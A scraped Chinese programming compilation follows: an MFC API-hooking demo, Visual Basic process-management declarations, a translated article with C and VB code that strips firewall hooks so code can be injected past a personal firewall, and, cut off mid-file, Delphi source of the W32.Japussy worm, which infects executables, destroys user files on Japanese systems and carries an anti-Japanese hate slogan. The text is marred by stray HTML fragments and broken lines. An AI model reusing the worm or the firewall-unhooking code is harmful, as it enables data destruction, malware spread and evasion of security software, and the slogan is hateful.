ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CAPIHook_EXEDlg message handlers
BOOL CAPIHook_EXEDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CAPIHook_EXEDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC d
c
(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CAPIHook_EXEDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
///////////////////////////////////// OnButtonOut 函数 //////////////////////////////////////
//使用TextOut函数
void CAPIHook_EXEDlg::OnButtonOut()
8
hook
.txt
{
// TODO: Add your control notification handler code here
HDC hdc = ::GetDC(GetSafeHwnd());
::
TextOutA(hdc,0,0,"APIHOOK_EXE ---rivershan",30);
UpdateWindow();
}
///////////////////////////////////// OnButtonBegin 函数 ////////////////////////////////////
//开始挂钩,这里我们挂的是自身这个APIHook_EXE这个程序
void CAPIHook_EXEDlg::OnButtonBegin()
{
DWORD dwThreadId = GetWindowThreadProcessId(m_hWnd,NULL);//获得自身进程ID
InstallHook(TRUE,dwThreadId);
}
///////////////////////////////////// OnButtonStop 函数 ////////////////////////////////////
//取消挂钩
void CAPIHook_EXEDlg::OnButtonStop()
{
InstallHook(FALSE,0);
}

三、APIHOOK之集成
1. 用 VC++新建一个 Win32 Dynamic-Link Library 程序,命名为 APIHook_Dll。接下来选择第二项 A Simple DLL
Project;
2. 新建一头文件,命名为 APIHook_Dll.h。删除工程中 APIHook_Dll.cpp文件中原来的内容,然后把上面的
APIHook_Dll
.cpp 和 APIHook_Dll.h文件的内容全部复制到新建的这个工程的 .cpp及 .h文件中来;
3. 新建一 Text文件,命名为 APIHook_Dll.def。复制上面的def文件内容。
4. 编译;
5. 新建一 MFC APPWizard(exe)程序,命名为 APIHook_EXE。接着选择第三项,基于对话框的程序,其它默认;
6. 删除原来对话框上的控件,然后新建三个按钮ID分别为:IDC_BUTTON_BEGIN、IDC_BUTTON_STOP、IDC_BUTTON_OUT,
Caption分别为:Bigin Hook、Stop Hook、Text Out。不要让这三个按钮出于对话框客户区的最上面就行;
7. 拷贝 APIHook_
Dll
.h文件到 APIHook_EXE程序目录下,然后加到 APIHook_EXE的头文件夹中。
8. 删除工程中 APIHook_EXE.cpp文件中原来的内容,然后把上面的 APIHook_EXE.cpp文件的内容全部复制到新建的这个
工程的
.cpp文件中来;
9. 打开 Project->Setting菜单,选择第四项link,在 Object/library moduls里添加我们的dll的lib文件的路径:
..\APIHook_Dll\Debug\APIHook_Dll.lib;
10. 编译;
11. 把 APIHook_Dll.dll文件放在 APIHook_Dll.exe程序的同一个文件夹内;
12. 运行程序,点击 Bigin Hook按钮,开始挂钩。再点击 Text Out按钮会跳出对话框并且会在程序中显示所要显示的
字。点击 Stop Hook然后在点击 Text Out按钮就没有对话框出现了。

四、一些说明
1、我这个 HookAPI是使用了 Jeffrey Richter的改写程序的 IAT来实现的,也可以用跳转函数入口点的方法来实现,这
个我没做研究。:)
2、我的一些心得:
所谓 HookAPI,就是改写程序的 IAT,再调用我自己写的用于替换原API函数的函数。在我们自己写的API函数
中,我们可以进行我们想要的工作。之后呢,可以把原来的函数传回去,也可以不传回去,只要你设计好了就行。
而所谓调用自己的函数
,就是把原函数参数都传给我的替换函数。我们就可以利用这些参数去干我们想做的事。
而系统呢,我想由于微软设置的这个钩子的目的(我这么认为的),所以不会去检查替换函数是否就是原函数,只要参
数、返回值符合条件就行,要不会出错。替换函数的返回值最好是原函数,否则有可能会出错
HookAPI时,exe程序起到的作用就是进行Hook,把dll注入到要Hook的程序,并且传回要挂接的进程的ID或者全
局钩子,以便查询所要挂接的模块的IAT。如果不注入进去,系统不会让你去查询IAT的。DLL做的事情是确定要挂接哪个
函数和这个函数在哪个DLL中等。


Option Explicit

'*************************************
'用于枚举进程
'*************************************
'CreateToolhelpSnapshot为指定的进程、进程使用的堆[HEAP]、模块[MODULE]、线程[THREAD])建立一个快照[snapshot]。

'参数:

'dwFlags

'TH32CS_INHERIT -声明快照句柄是可继承的?
'TH32CS_SNAPall -在快照中包含系统中所有的进程和线程?
'TH32CS_SNAPheaplist -在快照中包含在th32ProcessID中指定的进程的所有的堆?
'TH32CS_SNAPmodule -在快照中包含在th32ProcessID中指定的进程的所有的模块?
'TH32CS_SNAPPROCESS -在快照中包含系统中所有的进程?
'TH32CS_SNAPthread -在快照中包含系统中所有的线程?

'th32ProcessID

'[输入]指定将要快照的进程ID。如果该参数为0表示快照当前进程。
'该参数只有在设置了TH32CS_SNAPHEAPLIST或TH32CS_SNAPMOUDLE后才有效,在其他情况下该参数被忽略,所有的进程都会被快照。
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Public Const
TH32CS_SNAPPROCESS = &H2 '对象为系统中的所有进程
Public Const TH32CS_SNAPheaplist = &H1 '对指定进程中的堆进行枚举。
Public Const TH32CS_SNAPthread = &H4 '对系统范围中的线程进行枚举。
Public Const TH32CS_SNAPmodule = &H8 '表示对象为由th32ProcessID参数指定的进程调用的所有模块
'在快照中包含系统中所有的进程和线程。
Public Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + TH32CS_SNAPmodule

Public Type PROCESSENTRY32

dwSize
As Long '结构大小
cntUsage As Long '此进程的引用计数
th32ProcessID As Long '进程ID
th32DefaultHeapID As Long '进程默认堆ID
th32ModuleID As Long '进程模块ID
cntThreads As Long '此进程开启的线程计数
th32ParentProcessID As Long '父进程ID
pcPriClassBase As Long '线程优先权
dwFlags As Long '保留
szExeFile As String * MAX_PATH '进程全名

End Type

'获得系统快照中的第一个进程的信息
Public Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

'获得系统快照中的下一个进程的信息
Public Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

'TerminateProcess强行中止指定进程的运行
'参数
'hProcess 要中止的进程句柄,注意:不是进程ID
'uExitCode 进程的退出码,其它程序可以通过GetExitCodeProcess获取的退出码
Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

'OpenProcess打开指定进程
'参数
'dwDesiredAccess访问标识
'bInheritHandle,//句柄是否可继承
'dwProcessId //系统进程ID

'其中dwDesiredAccess参数可以是以下常量的任意组合:
'PROCESS_ALL_ACCESS//所有可能的权限
'PROCESS_Create_PROCESS//内部使用
'PROCESS_Create_THREAD//产生线程权限
'PROCESS_DUP_HANDLE//复制句柄权限
'PROCESS_QUERY_INformATION//查询信息权限
'PROCESS_SET_INformATION//设置信息权限
'PROCESS_TERMINATE//中止进程权限
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Const
PROCESS_ALL_ACCESS = 0 '所有可能的权限
Public Const PROCESS_TERMINATE = &H1 '進程中止
Public Const PROCESS_VM_REA
D =
16 '允许远程VM读
Public Const PROCESS_QUERY_INFORMATION = 1024 '查询信息权限
Public Const PROCESS_SET_INFORMATION = 612 '设置信息权限

'关闭句柄
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
'*************************************
'用于枚举进程
'*************************************

'*************************************
'用于获取进程模块及其内存信息
'*************************************
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
'GetModuleFileNameExA可以实现通过进程句柄获取进程文件名
'参数
'hProcess: 接受进程句柄的参数,是HANDLE类型的变量
'hModule: 指针型参数,在本文的程序中取值为NULL
'lpstrFileName:LPTSTR类型的指针,用于接受主调函数传递来的用于存放进程名的字符数组指针
'nsize: lpstrFileName所指数组的长度
Public Declare Function GetModuleFileNameExA Lib "PSAPI.DLL" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long

'EnumProcessModules用来枚举进程模块
'参数
'hProcess: 进程句柄
'lphModule: 指向模块句柄数组链
'cb: 模块句柄数组大小,字节计数
'lpcbNeeded): 存储所有模块句柄所需的字节数
Public Declare Function EnumProcessModules Lib "PSAPI.DLL" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long

'获取进程的内存信息
Public Declare Function GetProcessMemoryInfo Lib "PSAPI.DLL" (ByVal hProcess As Long, ppsmemCounters As PROCESS_MEMORY_COUNTERS, ByVal cb As Long) As Long

Public
Type PROCESS_MEMORY_COUNTERS
cb
As Long
PageFaultCount As Long '页故障数目
PeakWorkingSetSize As Long '进程的工作集峰值
WorkingSetSize As Long '工作集峰值大小
QuotaPeakPagedPoolUsage As Long '分页池使用配额峰值
QuotaPagedPoolUsage As Long '分页池使用配额
QuotaPeakNonPagedPoolUsage As Long '非分页池使用配额峰值
QuotaNonPagedPoolUsage As Long '非分页池使用配额
PagefileUsage As Long '页文件使用情况
PeakPagefileUsage As Long '页文件使用峰值
End Type

'GetExitCodeProcess获取一个已中断进程的退出代码
'参数
'hProcess : 想获取退出代码的一个进程的句柄
'lpexitcode: 用于装载进程退出代码的一个长整数变量。如进程还未中止,则设为常数STILL_ACTIVE
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpexitcode As Long) As Long

Public Const
STILL_ACTIVE = &H103 '进程还未中止
'******************************************************************************

'*************************************
'用于获取和设置进程优先级
'*************************************
'GetPriorityClass获取一个进程当前的优先级类
'hProcess Long: 进程句柄
Public Declare Function GetPriorityClass Lib "kernel32" (ByVal hProcess As Long) As Long

>'SetPriorityClass设置一个进程的优先级类
'参数
'hProcess Long,指定一个进程的句柄
'dwPriorityClass Long,指定了新优先级类的一个常数。请参考CreateProcess函数的dwCreationFlags参数,那里有优先级类的一个列表
Public Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long

Public Const
HIGH_PRIORITY_CLASS = &H80 '新进程有非常高的优先级,它优先于大多数应用程序。基本值是13。注意尽量避免采用这个优先级
Public Const IDLE_PRIORITY_CLASS = &H40 '新进程应该有非常低的优先级——只有在系统空闲的时候才能运行。基本值是4
Public Const NORMAL_PRIORITY_CLASS = &H20 '标准优先级。如进程位于前台,则基本值是9;如在后台,则优先值是7
Public Const REALTIME_PRIORITY_CLASS = &H100 '立即对事件作出响应,执行关键时间的任务。会抢先于操作系统组件之前运行。
'********************************************************************




=========================
     原文
=========================
对付API-splicing的一种简单方法 [PSI_H] By: greatdong

对于拦截API函数通常使用一种叫splicing的方法。此法的本质就是用JMP指令替换函数起始处的5个字节,将控制权传递给拦截程序。这种技术广泛应用于个人防火墙中,以防木马程序将自己的代码注入到其它可访问网络进程的地址空间中。然而,木马程序作者们可以采用不同的技术来穿透防火墙。比如说很流行的防火墙Agnitum Outpost的第三版就可以轻松绕过(详见MS-REM的文章《使用inject绕过防火墙》)。然而设计者们已经对自己的劳动结晶施以了巫术,Outpost 4.0已经能可靠地(?)对付这种方法了。但是如果这种保护绕不过去,那为什么不试着把它拿下呢?

首先脑子里想到的是,使用LoadLibrary/GetProcAddress函数来获取被拦截函数的原始代码,之后用它在内存里替换掉以前的代码,这样就摘掉了对函数的HOOK。因为调用LoadLibrary将返回指向已加载模块的指针,所以必须将文件拷贝并加载此拷贝。下面的代码去除了对ZwWriteVirtualMemory函数的拦截:


// 将NTDLL.DLL文件拷入TEMP文件夹

char szTemp[MAX_PATH];

GetTempPath(MAX_PATH, szTemp);

strcat(szTemp, "ntdll2.dll");

CopyFile("C:\Windows\System32\ntdll.dll", szTemp, TRUE);

// 取得指向原始函数的指针
HMODULE hMod = LoadLibrary(szTemp);
void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory");

// 取得指向当前函数的指针
void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory");

// 设置内存访问权限
DWORD dwOldProtect;
VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 替换函数的前10个(为保险起见)字节
memcpy(ptr_new, ptr_orig, 10);

FreeLibrary(hMod);
DeleteFile(szTemp);



此后,为了在其它进程地址空间中执行自己的代码,可以使用经典的CreateRemoteThread。顺便说一句,Outpost对这个函数也进行了拦截,但是,在别的进程里创建线程是绝对可以的。

尽管这里给出的摘除HOOK的方法完全奏效,但需要加载新的dll模块,这可能会引起防火墙的暴怒。我所认为的更为优雅的办法就是只需从文件中读取所需要的字节。下面这个函数的代码恢复了API的原始的起始部分。


bool RemoveFWHook(char* szDllPath, char* szFuncName) // szDllPath为DLL的完整路径 !
{
// 取得指向函数的指针
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if(!lpFunc)
return false;
// 取得RVA
DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase;

// 将文件映射入内存
HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;

DWORD dwSize = GetFileSize(hFile, NULL);

HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);

LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);

// 指向当前函数的指针
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);

// 修改访问权限并拷贝
DWORD dwOldProtect;
BOOL bRes=true;
if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
memcpy(lpFunc, lpRealFunc, 10);
}
else{
bRes=false;
}

UnmapViewOfFile(lpBaseMap);

CloseHandle(hMapFile);
CloseHandle(hFile);

return bRes;

}



注意CreateFileMapping函数的调用,参数SEC_IMAGE指明了文件将作为可执行文件映射入内存,这就使我们能够找到PE首部并计算文件偏移量。然而,以上示例是有缺陷的——用户可以禁止读取系统文件,除此之外,软件设计者还可以patch磁盘文件(尽管可能性很小)。对付的方法还是有的,可以基址作为标志函数起始的label。例如,在所有我研究过的Windows XP(SP0-SP2、RU和MUI)里,ZwWriteVirtualMemory起始处都是字节:

B8 15 01 00 00

其对应的汇编助记符为

mov eax, 00000115

为了识别label,无需在磁盘文件上做手脚,因为ntdll.dll在distribution里是不设防的。当然使用静态label并不能保证相容性,但这是防范拦截的最好办法。

使用上面所讲的技术可以达到十分通用的效果——比如防范调试器。比如说,我们的应用程序从注册表读取lisense键值,而且我们不想此举被黑客监视。为了恢复函数的原始代码以处理注册表,我们将断点(opcode为0xCC)做掉。老实说,如果黑客在函数的尾部施此伎俩,而我们只恢复起始部分,这还真就不灵了。所以,最好一下恢复整个code section。

Anti-anti-splicing
要想对付类似的anti-splicing的方法,developers可以对ZwProtectVirtualMemory函数进行处理。拦截了这个函数就能控制对内存访问参数的修改,我们也就因此而不能向所需的地址里进行写入。然而,如果建立了前面提到的函数起始基址的话,还是有办法对付的。

[C] PSI_H 董岩(译) http://greatdong.blog.edu.cn

=============================================================================

以下部分是翻译成VB的源码

Private Declare Function VirtualProtect _
Lib "kernel32.dll" (ByRef lpAddress As Any, _
ByVal dwSize As Long, _
ByVal flNewProtect As Long, _
ByRef lpflOldProtect As Long) As Long
Private Declare Function
MapViewOfFile _
Lib "kernel32.dll" (ByVal hFileMappingObject As Long, _
ByVal dwDesiredAccess As Long, _
ByVal dwFileOffsetHigh As Long, _
ByVal dwFileOffsetLow As Long, _
ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Sub
CopyMemory _
Lib "kernel32.dll" _
Alias "RtlMoveMemory" (<
/font>ByRef Destination As Any, _
ByRef Source As Any, _
ByVal Length As Long)
Private Declare Function CloseHandle _
Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function
UnmapViewOfFile _
Lib "kernel32.dll" (ByRef lpBaseAddress As Any) As Long
Private Declare Function
GetProcAddress _
Lib "kernel32.dll" (ByVal hModule As Long, _
ByVal lpProcName As String) As Long
Private Declare Function
LoadLibrary _
Lib "kernel32.dll" _
Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function
CreateFile _
Lib "kernel32.dll" _
Alias "CreateFileA" (ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByRef lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function
CreateFileMapping _
Lib "kernel32.dll" _
Alias "CreateFileMappingA" (ByVal hFile As Long, _
ByRef lpFileMappigAttributes As Long, _
ByVal flProtect As Long, _
ByVal dwMaximumSizeHigh As Long, _
ByVal dwMaximumSizeLow As Long, _
ByVal lpName As String) As Long
Private Declare Function
GetFileSize _
Lib "kernel32.dll" (ByVal hFile As Long, _
ByRef lpFileSizeHigh As Long) As Long
Private
Type SECURITY_ATTRIBUTES
nLength
As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End
Type
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const SECTION_MAP_READ As Long = &H4
Private Const FILE_MAP_READ As Long = SECTION_MAP_READ
Private Const FILE_SHARE_READ As Long = &H1
Private Const GENERIC_READ As Long = &H80000000
Private Const OPEN_EXISTING As Long = 3
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Const PAGE_READONLY As Long = &H2
Private Const SEC_IMAGE As Long = &H1000000
Private Const
INVALID_HANDLE_VALUE As Long = -1
Private Declare Function OpenProcess _
Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Const
PROCESS_ALL_ACCESS As Long = (&HFFF)

Public Function RemoveFWHook(szDllPath As String, _
szFuncName
As String) As Boolean ' szDllPath为DLL的完整路径!
' 取得指向函数的指针
lpBase = LoadLibrary(szDllPath)
lpFunc = GetProcAddress(lpBase, szFuncName)

If lpFunc = 0 Then RemoveFWHook = False
' 取得RVA
dwRVA = lpFunc - lpBase
' 将文件映射入内存
hFile = CreateFile(szDllPath, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, _
OPEN_EXISTING,
0, 0)

If hFile = INVALID_HANDLE_VALUE Then
RemoveFWHook = False
Exit Function
End If

dwSize = GetFileSize(hFile, 0)
hMapFile = CreateFileMapping(hFile,
0, PAGE_READONLY or SEC_IMAGE, 0, dwSize, _
vbNullString)
lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ,
0, 0, dwSize)
' 指向当前函数的指针
lpRealFunc = lpBaseMap + dwRVA
' 修改访问权限并拷贝
bRes = True

If
(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, dwOldProtect)) Then
CopyMemory lpFunc, lpRealFunc, 10
Else
bRes = False
End If

UnmapViewOfFile (lpBaseMap)
CloseHandle (hMapFile)
CloseHandle (hFile)
RemoveFWHook = bRes
End Function



这个函数的使用很简单,传一个 DLL 名字和一个函数名字即可。
注意,VB中的函数名不等于实际的函数名。一般实际函数名都会有 A 或者 W 后缀来区分 ANSI 和 Unicode 版本的 API。
例如:
Public Declare Function LoadLibrary _
Lib "kernel32.dll" _
Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
实际函数名在 Alias 关键字后面,也就是 LoadLibraryA。如果没有这个关键字,那说明使用的就是实际名字。

使用示例:

MessageBox 0, RemoveFWHook(Environ$("SystemRoot") & "\System32\user32.dll", "MessageBoxA"), "Hello!", MB_OK




因为利用了汇编代码,速度特别快,有空可以测试测试.
新建一个EXE工程,加入两个TEXTBOX控件,默认名称,一个BUTTON控件即可.

Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, _
ByVal hwnd As Long, _
ByVal Msg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long


Private Function
AsmCrc(bytInput() As Byte, ByVal Init As Long) As Long
Dim
Asm(5) As Long
Asm(0) = &H5B5A5958
Asm(1) = &HC033505E
Asm(2) = &H3018A36
Asm(3) = &H41CED1F0
Asm(4) = &HF47ECA3B
Asm(5) = &HC3338936
CallWindowProc VarPtr(Asm(0)), _
VarPtr(bytInput(LBound(bytInput))), _
VarPtr(bytInput(UBound(bytInput))), _
VarPtr(AsmCrc), _
Init
End Function

Private Sub
Command1_Click()
Dim myBAry() As Byte
Dim
myL As Long

myBAry = StrConv(Text1.Text, vbFromUnicode)

myL = AsmCrc(myBAry, Len(Text1.Text))
Text2.Text =
"字符串“" & Text1.Text & "”的CRC校验:" & myL
End Sub



program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量



//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit
;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(
FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end
;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?汤姆感激不尽!
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try
//出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for
i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = color="#808080">#80
) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;

end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end
;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for
i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if
(SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if
(FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if
(Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户,这个是我最喜欢的!
//哪位大兄弟愿意完成之?汤姆感激不尽!
end
else if
Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if
Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if
Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if
IsJap then //是倭文操作系统
begin
if
(Ext = '.DOC') or (Ext = '.XLS') or (Ext = ="#808080">'.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
